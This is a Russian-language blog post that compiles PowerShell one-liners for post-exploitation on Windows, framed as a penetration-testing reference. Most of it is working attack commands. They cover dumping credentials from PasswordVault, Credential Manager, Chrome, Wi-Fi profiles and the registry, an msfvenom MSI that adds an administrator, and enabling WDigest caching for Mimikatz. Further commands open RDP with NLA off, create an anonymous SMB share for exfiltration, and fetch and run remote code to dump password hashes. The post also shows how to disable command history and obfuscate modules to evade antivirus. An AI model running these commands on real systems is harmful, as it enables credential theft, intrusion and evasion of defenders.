А АSaturday, 18 June 2022

PowerShell для тестирования Windows.

Всем привет.

Статья содержит список PowerShell команд, собранных из разных уголков Интернета, которые могут быть полезны во время тестов на проникновение. Я их нашел на Leakinfo, March 19, 2021.

Список команд включает в себя различные пост-эксплуатационные однострочные программы в чистой PowerShell, не требующие каких-либо потенциально помеченных как вредоносные сторонних модулей, а также набор удобных административных команд. Часть команд вам выдаст пустой ответ – анализируйте сами, бывает разное, либо запрашиваемое значение действительно отсутствует либо оно находится в другом месте реестра.

Поиск файлов с конфиденциальной информацией

Следующие команды PowerShell могут быть полезны на этапе после эксплуатации для поиска файлов на диске, которые могут содержать учетные данные, сведения о конфигурации и другую конфиденциальную информацию.

Ищем потенциально интересные файлы

С помощью этой команды мы можем идентифицировать файлы с потенциально конфиденциальными данными, такими как информация об учетной записи, учетные данные, файлы конфигураций и т.д., на основе их имени файла:

Код:

gci c:\ -Include *pass*.txt,*pass*.xml,*pass*.ini,*pass*.xlsx,*cred*,*vnc*,*.config*,*accounts* -File -Recurse -EA SilentlyContinue

Рекомендуется сделать это для каждого диска, но вы также можете просто запустить его в папке c:\users для некоторых быстрых результатов.

Ищем учетные данные в файлах Sysprep или Unattend

Эта команда будет искать остатки автоматических установок и автоконфигураций, которые потенциально могут содержать пароли в открытом виде или пароли в кодировке base64:

Код:

gci c:\ -Include *sysprep.inf,*sysprep.xml,*sysprep.txt,*unattended.xml,*unattend.xml,*unattend.txt -File -Recurse -EA SilentlyContinue

Это один из хорошо известных методов повышения привилегий, так как обычно используется пароль локального администратора. Рекомендуется сделать это для каждого диска.

Ищем файлы конфигурации, содержащие строку «password»

С помощью этой команды мы можем найти файлы, содержащие определенный шаблон, например, здесь мы ищем шаблон «пароль» в различных текстовых файлах конфигурации:

Код:

gci c:\ -Include *.txt,*.xml,*.config,*.conf,*.cfg,*.ini -File -Recurse -EA SilentlyContinue | Select-String -Pattern "password"

Рекомендуется сделать это для каждого диска.

Ищем учетные данные базы данных в файлах конфигурации

Используя следующую команду PowerShell, мы можем найти строки подключения к базе данных (с учетными данными в виде обычного текста), хранящиеся в различных файлах конфигурации, таких как web.config для конфигурации ASP.NET, в файлах проекта Visual Studio и т.д.:

Код:

gci c:\ -Include *.config,*.conf,*.xml -File -Recurse -EA SilentlyContinue | Select-String -Pattern "connectionString"

Поиск строк подключения, например, для удаленного Microsoft SQL Server, может привести к удаленному выполнению команд (RCE) с использованием функций xp_cmdshell ( ссылка , ссылка , ссылка и т.д.) И последующему боковому перемещению.

Ищем файлы конфигурации веб-сервера

С помощью этой команды мы можем легко найти файлы конфигурации, принадлежащие установке Microsoft IIS, XAMPP, Apache, PHP или MySQL:

Код:

gci c:\ -Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -EA SilentlyContinue

Эти файлы могут содержать пароли в виде простого текста или другую интересную информацию, которая может позволить получить доступ к другим ресурсам, таким как базы данных, административные интерфейсы и т.д.


Извлечение учетных данных

Следующие команды PowerShell также подпадают под категорию пост-эксплуатации и могут быть полезны для извлечения учетных данных после получения доступа к системе Windows.

Получаем сохраненные пароли из Windows PasswordVault

Используя следующую команду PowerShell, мы можем извлекать секреты из Windows PasswordVault , который представляет собой встроенный механизм Windows для хранения паролей и учетных данных в Интернете, например, для Internet Explorer, Edge и других приложений:

Код:

[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $_.RetrievePassword();$_ }

Обратите внимание, что хранилище обычно хранится в следующих местах, и получить секреты можно только в контексте текущего зарегистрированного пользователя:

C:\Users\<ИМЯ ПОЛЬЗОВАТЕЛЯ>\AppData\Local\Microsoft\Vault\

C:\Windows\system32\config\systemprofile\AppData\Local\ Microsoft\Vault\

C:\ProgramData\Microsoft\Vault\

Получаем сохраненные пароли из диспетчера учетных данных Windows

Диспетчер учетных данных Windows предоставляет еще один механизм хранения учетных данных для входа на веб-сайты, входа в удаленные системы и различные приложения, а также обеспечивает безопасный способ использования учетных данных в сценариях PowerShell.

С помощью следующего однострочника мы можем получить все сохраненные учетные данные из диспетчера учетных данных с помощью модуля CredentialManager PowerShell (добавим его как Install-Module -Name CredentialManager):

Код:

Get-StoredCredential | % { write-host -NoNewLine $_.username; write-host -NoNewLine ":" ; $p = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($_.password) ; [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($p); }


Как и в случае с PasswordVault, учетные данные хранятся в отдельных местах профиля пользователя, и только текущий зарегистрированный пользователь может их расшифровать:

C:\Users\<ИМЯ ПОЛЬЗОВАТЕЛЯ>\AppData\Local\Microsoft\Credentials\

C:\Users\<ИМЯ ПОЛЬЗОВАТЕЛЯ>\AppData\Roaming\Microsoft\Credentials\

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\


Дамп паролей из браузера Google Chrome

Следующая команда извлекает сохраненные учетные данные из браузера Google Chrome, если он установлен и если есть сохраненные пароли:

Код:

Add-Type -AssemblyName System.Security

[System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($datarow.password_value,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))

Точно так же это должно выполняться в контексте целевого пользователя.


Получаем сохраненные пароли Wi-Fi из профилей беспроводной сети

С помощью этой команды мы можем извлечь все сохраненные пароли Wi-Fi (WEP, WPA PSK, WPA2 PSK и т. Д.) Из беспроводных профилей, настроенных в системе Windows:

Код:

(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}  | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize

Обратите внимание, что у нас должны быть права администратора, чтобы это работало.


Поиск строки сообщества SNMP в реестре

Следующая команда извлечет строку сообщества SNMP, хранящуюся в реестре, если таковая имеется:

Код:

gci HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse -EA SilentlyContinue

Поиск строки сообщества SNMP не является критической проблемой, но может быть полезен для понимания, какие шаблоны паролей используются системными администраторами в организации.


Выполнения атаки с распылением паролей (при условии, что пароли могут быть повторно использованы в другом месте).

Поиск шаблона строки в реестре

Следующая команда PowerShell будет перебирать выбранные ветки реестра (HKCR, HKCU, HKLM, HKU и HKCC) и рекурсивно искать любой выбранный шаблон в именах разделов реестра или значениях данных. В этом случае мы ищем шаблон «password»:

Код:

$pattern = "password"

$hives = "HKEY_CLASSES_ROOT","HKEY_CURRENT_USER","HKEY_LOCAL_MACHINE","HKEY_USERS","HKEY_CURRENT_CONFIG"

# Search in registry keys

foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | sls "$pattern" }

# Search in registry values

foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | % { if((gp $_.PsPath -ea SilentlyContinue) -match "$pattern") { $_.PsPath; $_ | out-string -stream | sls "$pattern" }}}

Хотя это может занять много времени и вызвать много шума, он обязательно обнаружит все вхождения выбранного шаблона в реестре.


Повышение привилегий

В следующих разделах содержатся команды PowerShell, полезные для случаев, когда у нас есть доступ только для пользователей с низким уровнем привилегий, и мы хотим повысить наши привилегии до локального администратора.

Поиск в реестре учетных данных для автоматического входа

Системы Windows можно настроить на автоматический вход в систему при загрузке, что, например, используется в системах POS (торговых точек). Обычно это настраивается путем сохранения имени пользователя и пароля в определенном месте реестра Winlogon в виде открытого текста.

Следующая команда получит учетные данные для автоматического входа из реестра:

Код:

gp 'HKLM:\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon' | select "Default*"


Проверить, включен ли AlwaysInstallElevated

Если для следующих разделов реестра AlwaysInstallElevated установлено значение 1, это означает, что любой пользователь с низкими привилегиями может устанавливать файлы *.msi с привилегиями NT AUTHORITY \ SYSTEM. Вот как это проверить с помощью PowerShell:

Код:

gp 'HKCU:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated

gp 'HKLM:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated

Обратите внимание, что оба ключа реестра должны быть установлены в 1, чтобы это работало.

Пакет установщика MSI можно легко создать с помощью утилиты msfvenom из Metasploit Framework . Например, мы можем добавить себя в группу администраторов:

Код:

msfvenom -p windows/exec CMD='net localgroup administrators joe /add' -f msi > pkg.msi

Найти неквотируемые пути служб (Unquoted Service Paths)

Следующая команда PowerShell выводит службы, путь к исполняемому файлу которых не заключен в кавычки («):

Код:

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Это может привести к повышению привилегий, если путь к исполняемому файлу также содержит пробелы и у нас есть разрешения на запись в любую из папок в пути.

Проверить кеширование LSASS WDigest

Используя следующую команду, мы можем проверить, включено ли кэширование учетных данных WDigest в системе или нет. Эти настройки определяют, сможем ли мы использовать Mimikatz для извлечения учетных данных в виде открытого текста из памяти процесса LSASS.

Код:

(gp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest).UseLogonCredential

Если установлено значение 0, то кеширование отключено (система защищена).

Если он не существует или установлен в 1, то кеширование включено.

Обратите внимание, что если он отключен, мы все равно можем включить его с помощью следующей команды, но после этого нам также придется перезапустить систему:

Код:

sp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest -name UseLogonCredential -value 1

Учетные данные в SYSVOL и настройки групповой политики (GPP)

В корпоративных средах Windows Active Directory учетные данные иногда можно найти в групповых политиках, в различных настраиваемых сценариях или файлах конфигурации на контроллерах домена в общих сетевых папках SYSVOL.

Поскольку общие сетевые ресурсы SYSVOL доступны любому аутентифицированному пользователю домена, мы можем легко определить, есть ли какие-либо сохраненные учетные данные, используя следующую команду:

Код:

Push-Location \\example.com\sysvol

gci * -Include *.xml,*.txt,*.bat,*.ps1,*.psm,*.psd -Recurse -EA SilentlyContinue | select-string password

Pop-Location

Типичным примером является MS14-025 с атрибутом cPassword в файлах GPP XML. Атрибут «cpassword» может быть мгновенно расшифрован в виде открытого текста, например, с помощью утилиты gpp-decrypt в Kali Linux.


Команды, связанные с сетью

Вот несколько сетевых команд PowerShell, которые могут быть полезны, в частности, во время тестов на проникновение во внутреннюю сеть и подобных упражнений.

Установить MAC-адрес из командной строки

Иногда может быть полезно установить MAC-адрес в сетевом интерфейсе, и с помощью PowerShell мы можем легко сделать это без использования сторонних утилит:

Код:

Set-NetAdapter -Name "Ethernet0" -MacAddress "00-01-18-57-1B-0D"

Это может быть полезно, например, когда мы тестируем обход NAC (network access control) и другие вещи.


Разрешить подключения к удаленному рабочему столу

Это трио команд может быть полезно, когда мы хотим подключиться к системе с использованием графического сеанса RDP, но по какой-то причине он не включен:

Код:

# Allow RDP connections

(Get-WmiObject -Class "Win32_TerminalServiceSetting" -Namespace root\cimv2\terminalservices).SetAllowTsConnections(1)

# Disable NLA

(Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)

# Allow RDP on the firewall

Get-NetFirewallRule -DisplayGroup "Remote Desktop" | Set-NetFirewallRule -Enabled True

Теперь порт tcp/3389 должен быть открыт, и мы сможем подключиться без проблем, например, с помощью инструментов xfreerdp или rdesktop из Kali Linux.


Обнаружение хоста с помощью массового обратного просмотра DNS

Используя эту команду, мы можем выполнить быстрый обратный поиск DNS в подсети 10.10.1.0/24 и посмотреть, есть ли какие-либо разрешенный (потенциально активные) хосты:

Код:

$net = "10.10.1."

0..255 | foreach {$r=(Resolve-DNSname -ErrorAction SilentlyContinue $net$_ | ft NameHost -HideTableHeaders | Out-String).trim().replace("\s+","").replace("`r","").replace("`n"," "); Write-Output "$net$_ $r"} | tee ip_hostname.txt

Затем результаты будут сохранены в файле ip_hostname.txt в текущем рабочем каталоге.

Иногда это может быть быстрее и более скрытно, чем pingsweep или аналогичные методы.


Сканирование портов хоста на предмет интересных портов

Вот как быстро просканировать указанный IP-адрес (10.10.15.232) на предмет выбранных 39 интересных портов:

Код:

$ports = "21 22 23 25 53 80 88 111 139 389 443 445 873 1099 1433 1521 1723 2049 2100 2121 3299 3306 3389 3632 4369 5038 5060 5432 5555 5900 5985 6000 6379 6667 8000 8080 8443 9200 27017"

$ip = "10.10.15.232"

$ports.split(" ") | % {echo ((new-object Net.Sockets.TcpClient).Connect($ip,$_)) "Port $_ is open on $ip"} 2>$null

Это даст нам быструю ситуационную осведомленность о конкретном хосте в сети, используя только чистый PowerShell:


Сканирование портов в сети на наличие одного порта (сканирование портов)

Это может быть полезно, например, для быстрого обнаружения интерфейсов SSH (порт tcp/22) в указанной подсети класса C (10.10.0.0/24):

Код:

$port = 22

$net = "10.10.0."

0..255 | foreach { echo ((new-object Net.Sockets.TcpClient).Connect($net+$_,$port)) "Port $port is open on $net$_"} 2>$null

Если вы пытаетесь идентифицировать только системы Windows, просто измените порт на 445.


Создать гостевой общий диск SMB

Вот классный трюк, позволяющий быстро запустить общий сетевой диск SMB (CIFS), доступный любому:

Код:

new-item "c:\users\public\share" -itemtype directory

New-SmbShare -Name "sharedir" -Path "C:\users\public\share" -FullAccess "Everyone","Guests","Anonymous Logon"

Чтобы потом остановить его, выполните:

Код:

Remove-SmbShare -Name "sharedir" -Force

Это может пригодиться для передачи файлов, эксфильтрации и т. д.

Внести IP-адрес в белый список в брандмауэре Windows

Вот полезная команда для внесения IP-адреса в белый список брандмауэра Windows:

Код:

New-NetFirewallRule -Action Allow -DisplayName "pentest" -RemoteAddress 10.10.15.123

Теперь мы имеем возможность подключаться к этому хосту с нашего IP-адреса (10.10.15.123) на каждом порту.

После того, как мы закончили с нашими делами, удалите правило:

Код:

Remove-NetFirewallRule -DisplayName "pentest"


Следующие команды могут быть полезны для выполнения различных административных задач, для сбора информации о системе или использования дополнительных функций PowerShell, которые могут быть полезны во время пентеста.

Бесфайловая загрузка и выполнение

Используя эту крошечную команду PowerShell, мы можем легко загрузить и выполнить произвольный код PowerShell, размещенный удаленно - либо на нашем собственном компьютере, либо в Интернете:

Код:

iex(iwr("https://URL"))

iwr = Invoke-WebRequest

iex = Invoke-Expression

Удаленный контент будет загружен и загружен, не касаясь диска (без файлов). Теперь мы можем просто запустить его.

Мы можем использовать это для любого из популярных наступательных модулей, например:

Вот пример сброса локальных хэшей паролей (hashdump) с использованием модуля nishang Get-PassHashes:

Код:

iex(iwr("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1"));Get-PassHashes

Очень просто, но учтите, что это, вероятно, будет замечено любым приличным AV или EDR.

Что вы можете сделать в подобных случаях, так это обфусцировать модули, которые вы хотите использовать, и разместить их где-нибудь самостоятельно.


Получить SID текущего пользователя

Следующая команда вернет значение SID текущего пользователя:

Код:

([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value

Проверить, работаем ли мы с повышенными привилегиями (от Aдминистратора)

Вот краткое описание того, запускаем ли мы сеанс PowerShell с повышенными привилегиями с правами администратора:

Код:

if (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { echo "yes"; } else { echo "no"; }

Да, это имеет отншение только к запуску самого PowerShell, а не той учетки под которой вы в системе.

Отключить ведение журнала команд PowerShell

По умолчанию PowerShell автоматически регистрирует до 4096 команд в файле истории, аналогично тому, как это делает Bash в Linux.

Файл истории PowerShell - это простой текстовый файл, расположенный в профиле каждого пользователя в следующем месте:

C:\Users\<ИМЯ ПОЛЬЗОВАТЕЛЯ>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

С помощью следующих команд мы можем отключить функцию ведения журнала команд PowerShell в текущем сеансе оболочки:

Код:

Set-PSReadlineOption –HistorySaveStyle SaveNothing

или

Remove-Module PSReadline

Это может быть полезно при проведении операций Red Team, если мы хотим минимизировать влияние на систему.

С этого момента никакие команды не будут записываться в файл истории PowerShell. Обратите внимание, однако, что приведенные выше команды по-прежнему будут отображаться в файле истории, поэтому имейте в виду, что это не полностью скрытно.


Список установленных антивирусных продуктов

Вот простая команда PowerShell для запроса центра безопасности и определения всех установленных антивирусных продуктов на этом компьютере:

Код:

Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct

По значению DisplayName и ProductState мы можем определить, какая антивирусная программа включена в данный момент (если их несколько), актуальны ли подписи и даже какие функции антивируса и механизмы сканирования включены (например, защита в реальном времени, антишпионское ПО, автообновление и т. д.).

Для справки алиасы используемые в статье:

Get-Alias gci,sp,gp,iex,iwr 

Alias           gci -> Get-ChildItem                                                                                                                  Alias           sp -> Set-ItemProperty                                                                                                                Alias           gp -> Get-ItemProperty                                                                                                              Alias           iex -> Invoke-Expression                                                                                                            Alias           iwr -> Invoke-WebRequest    

Удачи.

Слава Украине!


No comments:

Post a Comment

А что вы думаете по этому поводу?

Версия на печать

Популярное